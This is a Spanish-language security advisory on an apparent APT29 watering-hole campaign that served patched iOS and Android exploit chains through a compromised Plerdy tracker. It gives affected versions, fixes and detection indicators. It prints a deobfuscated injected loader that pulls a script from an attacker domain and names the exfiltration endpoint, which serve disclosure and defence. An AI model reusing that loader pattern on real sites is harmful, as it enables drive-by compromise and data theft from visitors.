Los watering holes de APT29 explotan n-days móviles (CVE-2024-27834)
APT29 comprometió el script de Plerdy y sitios legítimos para servir cadenas de explotación iOS y Android ya corregidas; CISA añadió un CVE a KEV.
Resumen
- APT29 comprometió sitios legítimos y el servicio de analítica ucraniano Plerdy para servir a sus visitantes cadenas de explotación iOS y Android ya corregidas. Sekoia publicó su investigación el 4 de noviembre de 2026.
- Cualquier visitante con un iPhone, un iPad o un teléfono Android sin corregir podía ser explotado sin interacción. Los dispositivos que instalaron las versiones corregidas del sistema y del navegador no están afectados.
- CISA añadió CVE-2024-27834 al catálogo Known Exploited Vulnerabilities (KEV) el 4 de noviembre de 2026, con fecha límite el 18 de noviembre de 2026. Los demás CVE de las cadenas ya estaban allí.
- Actualice todos los iPhone, iPad y dispositivos Android, y trate la visita de un dispositivo sin corregir a un sitio afectado como una posible intrusión. Consulte "¿Cómo lo corrijo?".
¿Estoy afectado?
Está expuesto cuando se cumplen todas estas condiciones:
- Un dispositivo que utiliza visitó uno de los sitios afectados, o cualquier sitio que cargara el rastreador Plerdy comprometido, desde el 27 de agosto de 2026, mientras la infraestructura de la campaña estaba activa.
- El dispositivo ejecutaba una de las versiones vulnerables de la tabla de esta página. El servidor de entrega elegía una cadena de explotación según la versión del navegador y del sistema que veía.
- El dispositivo no había instalado la corrección del proveedor para esa cadena. Todas las vulnerabilidades de las cadenas estaban corregidas antes de que empezara la campaña, así que un dispositivo actualizado no está afectado.
La campaña es un watering hole. Los atacantes no necesitaban saber quién visitaba los sitios, y los visitantes no necesitaban hacer clic, descargar ni aprobar nada. Sekoia evalúa con confianza moderada a alta que APT29, también seguido como Midnight Blizzard o Cozy Bear, dirigió la campaña.
| Cadena | Plataforma y versiones | CVE utilizados | Versiones corregidas |
|---|---|---|---|
| A | iOS 16.0 a 16.7.7, o 17.0 a 17.4 | CVE-2025-43529, CVE-2024-27834 | iOS 16.7.8 e iPadOS 16.7.8, o iOS 17.5 e iPadOS 17.5 (corrigen solo CVE-2024-27834; CVE-2025-43529 se corrige en iOS 18.7.3 y 26.2) |
| B | iOS anterior a 18.7.3 en la rama 18.x, o iOS 26 anterior a 26.3 | CVE-2025-43529, CVE-2026-20700, CVE-2025-14174, CVE-2025-43510, CVE-2025-43520 | iOS 26.3 e iPadOS 26.3 corrigen los cinco. En la rama 18.x, iOS 18.7.3 e iPadOS 18.7.3 corrigen todos salvo CVE-2026-20700, que Apple no ha corregido en 18.x al 5 de noviembre de 2026 |
| C | Android Chrome 139.0.0.0 a 145.0.0, excepto 143 | CVE-2026-3910, CVE-2025-27038 | Chrome 146.0.7680.75 o posterior, más la actualización del proveedor del dispositivo que incluye la corrección de Adreno |
Compruebe qué ejecuta cada dispositivo:
# iOS and iPadOS: Settings > General > About > iOS Version
# Android: Chrome > Settings > About Chrome, or open chrome://version
El propietario de un sitio está expuesto de otra forma. Compruebe si sus páginas siguen cargando el rastreador o el script inyectado:
# Search templates and JavaScript bundles for the campaign domains
grep -R -i -E 'a\.plerdy\.com|flux-telemetry|clouds-stacks|ads-it-assets|adv-static|wpvortex-mod|assets-int|starx-net' /var/www/html
El rastreador Plerdy se limpió después del compromiso de una semana. Una página que todavía contiene el fragmento inyectado tiene un compromiso propio de ese sitio, no del rastreador.
¿Cómo lo corrijo?
- Actualice todos los iPhone e iPad a iOS 18.7.3 o iOS 26.3, o posterior. Los dispositivos que no pueden ejecutar esas versiones necesitan al menos iOS 16.7.8 o 17.5, que cierran la cadena A al corregir CVE-2024-27834. Esos dispositivos conservan el fallo de WebKit CVE-2025-43529, que Apple solo corrigió en iOS 18.7.3 y 26.2. Prefiera iOS 26.3 cuando el dispositivo lo admita, porque Apple no ha corregido CVE-2026-20700 en la rama 18.x.
- Actualice Chrome en todos los dispositivos Android a 146.0.7680.75 o posterior. La cadena C también necesita la corrección del controlador gráfico Adreno; instale la actualización de seguridad del proveedor del dispositivo que la incluye. Qualcomm publicó CVE-2025-27038 en junio de 2025.
- Si un dispositivo visitó un sitio afectado mientras no estaba corregido, trátelo como comprometido. Renueve las contraseñas y las sesiones de todas las cuentas usadas en él, y revise sus mensajes, fotos y copias de seguridad en la nube por si hay accesos que no reconoce.
- Los propietarios de sitios deben retirar el fragmento inyectado y revisar las plantillas y los archivos JavaScript del sitio. El informe de Sekoia dice que compartió los indicadores en privado, así que el propietario de un sitio también debe revisar los registros del servidor en busca de peticiones a los dominios de entrega que aparecen en "¿Cómo compruebo si estuve comprometido?".
No hay una solución de configuración para el dispositivo. Las cadenas de explotación solo necesitan un navegador que muestre una página, y desactivar JavaScript también bloquearía el contenido legítimo de los sitios. La actualización del dispositivo es la corrección.
Para los sitios que dependen de Plerdy, el proveedor limpió el rastreador después del compromiso. Ningún aviso público da una versión corregida del rastreador, así que revise el código fuente de la página renderizada en lugar de confiar en un número de versión.
¿Cuál es la causa raíz?
La causa raíz de la campaña es una cadena de entrega que llega a todos los visitantes de una página, combinada con teléfonos que no habían instalado correcciones publicadas meses antes.
Sekoia encontró tres vectores de entrega. El primero es la inyección directa de JavaScript en la plantilla de un sitio comprometido o en una biblioteca existente. El segundo es un par de dominios señuelo, america250[.]holiday y theowo[.]club, que actúan como proxy inverso de un sitio real y reescriben su HTML al vuelo. El tercero es el compromiso de la cadena de suministro del rastreador SEO Plerdy en a.plerdy[.]com, que cargan miles de sitios, la mayoría ucranianos. Entre el 27 de agosto y el 3 de septiembre de 2026, el rastreador sirvió tanto su script legítimo como un cargador inyectado.
El código inyectado es corto. Este es el cargador que Sekoia recuperó del archivo de Plerdy, desofuscado:
window.onload = function () {
const s = document.createElement("script");
s.src = "hxxps://edge-ord.clouds-stacks[.]com/module/5b4c8fea5cbcee273e8d830f52-temfp.js";
document.body.appendChild(s);
};
El archivo cargado es el "UltimateFingerprinter", un script de 2.3 MB que añade su código a una biblioteca AngularJS minificada. Sekoia dice que la biblioteca es código muerto y alrededor del 98 por ciento del archivo, una técnica que puede frustrar el análisis con grandes modelos de lenguaje o hacer que el archivo parezca una biblioteca conocida. El script recoge 394 campos de 61 colectores del navegador y del dispositivo y los envía a un host de entrega. El host responde con el código de explotación para esa plataforma.
La huella casi no influye en la cadena que se sirve. Sekoia solo encontró tres campos que pueden bloquear la entrega: una anchura o altura de pantalla inverosímil, y un dispositivo sin pantalla táctil. El resto de los datos se recoge pero no se usa para elegir la explotación.
Cada cadena es un conjunto de fallos ya corregidos. La cadena A usa CVE-2025-43529, un use-after-free de WebKit que Apple corrigió en diciembre de 2025, y CVE-2024-27834, el bypass de autenticación de punteros que Apple corrigió en mayo de 2024. La cadena B es el kit DarkSword, que encadena una ejecución remota de código en WebKit, un bypass de autenticación de punteros, dos escapes de la caja de arena y una primitiva de lectura y escritura del núcleo. La cadena C usa CVE-2026-3910 en el motor V8 de Chrome y CVE-2025-27038 en el controlador gráfico Adreno de Qualcomm.
¿Cómo se explota?
- Un objetivo visita un sitio comprometido, un dominio señuelo o cualquier sitio que carga el rastreador Plerdy.
- La página carga el cargador inyectado, que descarga el script de huella desde la infraestructura de entrega.
- El script envía la huella del dispositivo al host de entrega. El host elige la cadena para la plataforma y la versión del navegador notificadas y devuelve JavaScript.
- La cadena A ejecuta CVE-2025-43529 para obtener ejecución de código en el motor de renderizado WebKit, y después CVE-2024-27834 para saltarse la autenticación de punteros. Lee
Cookies.binarycookiesde los contenedores de aplicaciones y envía las cookies al servidor de exfiltración. - La cadena B ejecuta las etapas de DarkSword: la ejecución remota de código en WebKit, el bypass de autenticación de punteros, los dos escapes de la caja de arena y la primitiva del núcleo. Después recoge mensajes, correo, contactos, historial de llamadas, fotos, elementos del llavero, datos de cuentas y contraseñas de Wi-Fi.
- La cadena C ejecuta CVE-2026-3910 en el motor de renderizado de Chrome, y después CVE-2025-27038 en el controlador Adreno para salir de la caja de arena. Lee las cookies, los inicios de sesión guardados y el historial de Chrome, y el almacén de configuración de Wi-Fi de Android.
El punto final de exfiltración de las tres cadenas es hxxps://ad.starx-net[.]com:8881/telemetry/v12. Las cadenas de iOS colocan una cookie marcador llamada VDGH_TOKEN_REF para no infectar dos veces el mismo navegador. Un fallo en la duración de la cookie hace que caduque al cabo de un minuto en lugar de un día, así que solo se evita una reinfección muy rápida.
¿Cómo se desarrolla el ataque?
El atacante convierte una visita a un sitio en ejecución de código en un teléfono sin corregir, y después roba cookies o los datos del dispositivo.
394 campos"] C --> D["El host elige la cadena
sin interacción"] D --> E["RCE de WebKit o Chrome
ya corregida"] E --> F["Bypass PAC o escape
ya corregidos"] F --> G["Robo de cookies o recogida completa"] G --> H["Exfiltración a ad.starx-net"]
¿Qué puede hacer un atacante?
El impacto depende de la cadena que elija el host de entrega.
La cadena A roba cookies de Safari y de los contenedores de aplicaciones en iOS 16.0 a 16.7.7, o 17.0 a 17.4. El análisis de Sekoia dice que el colector puede leer archivos Cookies.binarycookies fuera de Safari cuando las aplicaciones están en ejecución, y después los envía al servidor de exfiltración. Una cookie de sesión robada puede permitir al atacante abrir la misma cuenta sin la contraseña, hasta que la sesión caduque o se revoque.
La cadena B recoge los datos del dispositivo. Sekoia enumera los datos que recoge, entre ellos:
- SMS e iMessage, los índices de Mail y el buzón de voz.
- Las bases de datos de WhatsApp y Telegram.
- Las contraseñas y tokens del llavero, y los datos de cuentas.
- Los contactos, el historial de llamadas, el calendario y las notas.
- El historial y las cookies de Safari, y las cachés de ubicación.
- Los datos de salud, la fototeca e iCloud Drive.
La cadena B necesita un iPhone o iPad en la rama 18.x anterior a 18.7.3, o con iOS 26 anterior a 26.3.
La cadena C roba las cookies, los inicios de sesión guardados y el historial de Chrome, y el almacén de configuración de Wi-Fi de Android. Necesita una versión de Chrome de 139 a 145 distinta de 143. Se detiene si el dispositivo se identifica como un Samsung Galaxy S25 Ultra.
Las tres cadenas necesitan que el objetivo use un dispositivo sin corregir y visite una página afectada. No necesitan un clic, una descarga, una contraseña ni una segunda aplicación. Ninguna explota un dispositivo actualizado, porque todos los fallos estaban corregidos antes de que empezara la campaña.
¿Por qué funciona la corrección?
La corrección es la actualización del proveedor, no un cambio en la campaña. Cada cadena depende de un fallo de memoria concreto sin corregir, y las actualizaciones del proveedor eliminan la primitiva que la cadena necesita.
CVE-2024-27834 es el ejemplo más claro. El aviso de Apple dice que el problema "se abordó con comprobaciones mejoradas" y que el fallo permitía a un atacante "con capacidad de lectura y escritura arbitrarias" saltarse la autenticación de punteros. Apple lo corrigió en iOS 16.7.8, iPadOS 16.7.8, iOS 17.5, iPadOS 17.5, macOS Sonoma 14.5, tvOS 17.5, watchOS 10.5 y Safari 17.5 el 13 de mayo de 2024. La cadena A sigue usando ese fallo en 2026 porque ataca dispositivos que nunca instalaron la actualización de 2024.
Los demás CVE de las cadenas tienen la misma forma. CVE-2025-43529 se corrigió en diciembre de 2025, CVE-2026-20700 en iOS 26.3 en febrero de 2026. Apple no ha publicado ninguna corrección de CVE-2026-20700 para la rama 18.x, hasta iOS 18.7.11. En 18.x, iOS 18.7.3 rompe la cadena al corregir sus fallos de entrada de WebKit, CVE-2025-43529 y CVE-2025-14174.
CVE-2026-3910 se corrigió en Chrome 146.0.7680.75, y CVE-2025-27038 en la actualización del controlador Adreno que los proveedores de dispositivos publicaron después de junio de 2025. Sekoia no encontró ningún zero-day en ninguna cadena. Un atacante frente a un dispositivo totalmente actualizado no tiene camino por esta campaña.
La corrección es completa para los fallos que usan las cadenas. No retira el script inyectado de un sitio comprometido y no limpia un dispositivo explotado antes de la actualización. Por eso las comprobaciones de intrusión importan por separado.
¿Cómo compruebo si estuve comprometido?
Empiece por la red, porque las huellas en el dispositivo son limitadas.
- Busque en los registros del proxy web, DNS y cortafuegos peticiones a
static.flux-telemetry[.]com,edge-ord.clouds-stacks[.]com,ads-it-assets[.]com,cdn.adv-static[.]com,wpvortex-mod[.]com,assets-int[.]comyad.starx-net[.]com. Compare los nombres sin distinguir mayúsculas y minúsculas. - En un dispositivo iOS gestionado, revise los perfiles de configuración instalados y el historial de Safari del periodo afectado. Un perfil que usted no instaló es una pista, no una prueba.
- En Android, revise el historial de Chrome y el nivel de parche de seguridad del dispositivo, y compárelo con el boletín del proveedor que enumera la corrección de Adreno para CVE-2025-27038.
Sekoia no publicó el conjunto completo de indicadores, incluidas las reglas YARA y la lista de sitios comprometidos, y lo reserva para CERT nacionales y fuerzas del orden bajo TLP:AMBER. Ningún indicador público demuestra que un dispositivo concreto fuera explotado. Un intento fallido puede no dejar rastro, y las cadenas de iOS no eliminan nada del dispositivo después de la exfiltración.
Cronología
- 2024-05-13: Apple corrige CVE-2024-27834 en iOS 16.7.8, iPadOS 16.7.8, iOS 17.5 e iPadOS 17.5.
- 2025-12-17: Apple publica CVE-2025-43529 y lo corrige en iOS 18.7.3, iPadOS 18.7.3, iOS 26.2 e iPadOS 26.2. Apple no publicó ninguna corrección para iOS 16 ni 17.
- 2026-03-12: Google publica CVE-2026-3910, corregido en Chrome 146.0.7680.75.
- 2026-08-27 a 2026-09-03: el rastreador Plerdy en
a.plerdy[.]comsirve el cargador inyectado. - 2026-10: el equipo Threat Detection and Research de Sekoia empieza la investigación e identifica la campaña.
- 2026-11-04: Sekoia publica su informe, y CISA añade CVE-2024-27834 a KEV con fecha límite 2026-11-18.
Preguntas frecuentes
¿Es una campaña de zero-day?
No. Sekoia no encontró ningún zero-day en las tres cadenas, y todos los fallos estaban corregidos antes de que empezara la campaña. La campaña solo funciona contra dispositivos que no instalaron esas correcciones.
¿Qué dispositivos están afectados?
iPhone e iPad en la rama 18.x anteriores a 18.7.3, o con iOS 26 anteriores a 26.3, para la cadena de recogida completa, iOS 16.0 a 16.7.7, o 17.0 a 17.4 para la cadena de robo de cookies, y teléfonos Android con Chrome 139 a 145 distinto de 143 para la cadena de Chrome y Wi-Fi. Un dispositivo con las versiones corregidas no está afectado.
¿Una sola visita al sitio infecta el teléfono?
Solo si el dispositivo no está corregido y el servidor de entrega elige una cadena para él. La cadena se ejecuta sin clic ni descarga. Un dispositivo corregido no recibe ninguna explotación funcional.
¿El rastreador Plerdy sigue siendo malicioso?
No. El compromiso duró del 27 de agosto al 3 de septiembre de 2026, y Sekoia describe el rastreador como limpio después de esa semana. Un sitio que todavía contiene el fragmento inyectado tiene su propio compromiso que investigar.
¿Por qué CISA solo añadió CVE-2024-27834 a KEV?
CISA añadió el bypass de autenticación de punteros el 4 de noviembre de 2026, con fecha límite federal el 18 de noviembre de 2026. Los otros siete CVE de las cadenas ya estaban en KEV: CVE-2025-27038 (añadido el 2025-06-03), CVE-2025-14174 (2025-12-12), CVE-2025-43529 (2025-12-15), CVE-2026-20700 (2026-02-12), CVE-2026-3910 (2026-03-13), y CVE-2025-43510 y CVE-2025-43520 (2026-03-20).
¿La campaña sigue activa?
Sekoia publicó su informe el 4 de noviembre de 2026 y dijo que coordinaba con CERT nacionales para interrumpir la infraestructura. El informe no afirma que la campaña haya terminado.
Referencias
- Sekoia TDR, "Poisoned Source: APT29 watering holes target mobile devices with n-day exploits": https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits (comprobado el 5 de noviembre de 2026)
- CISA, "CISA Adds One Known Exploited Vulnerability to Catalog", 4 de noviembre de 2026: https://www.cisa.gov/news-events/alerts/2026/11/04/cisa-adds-one-known-exploited-vulnerability-catalog (comprobado el 5 de noviembre de 2026)
- CISA, catálogo Known Exploited Vulnerabilities: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (comprobado el 5 de noviembre de 2026)
- Registro CVE-2024-27834: https://www.cve.org/CVERecord?id=CVE-2024-27834 (comprobado el 5 de noviembre de 2026)
- Registro CVE-2025-43529: https://www.cve.org/CVERecord?id=CVE-2025-43529 (comprobado el 5 de noviembre de 2026)
- Registro CVE-2025-27038: https://www.cve.org/CVERecord?id=CVE-2025-27038 (comprobado el 5 de noviembre de 2026)
- Registro CVE-2026-3910: https://www.cve.org/CVERecord?id=CVE-2026-3910 (comprobado el 5 de noviembre de 2026)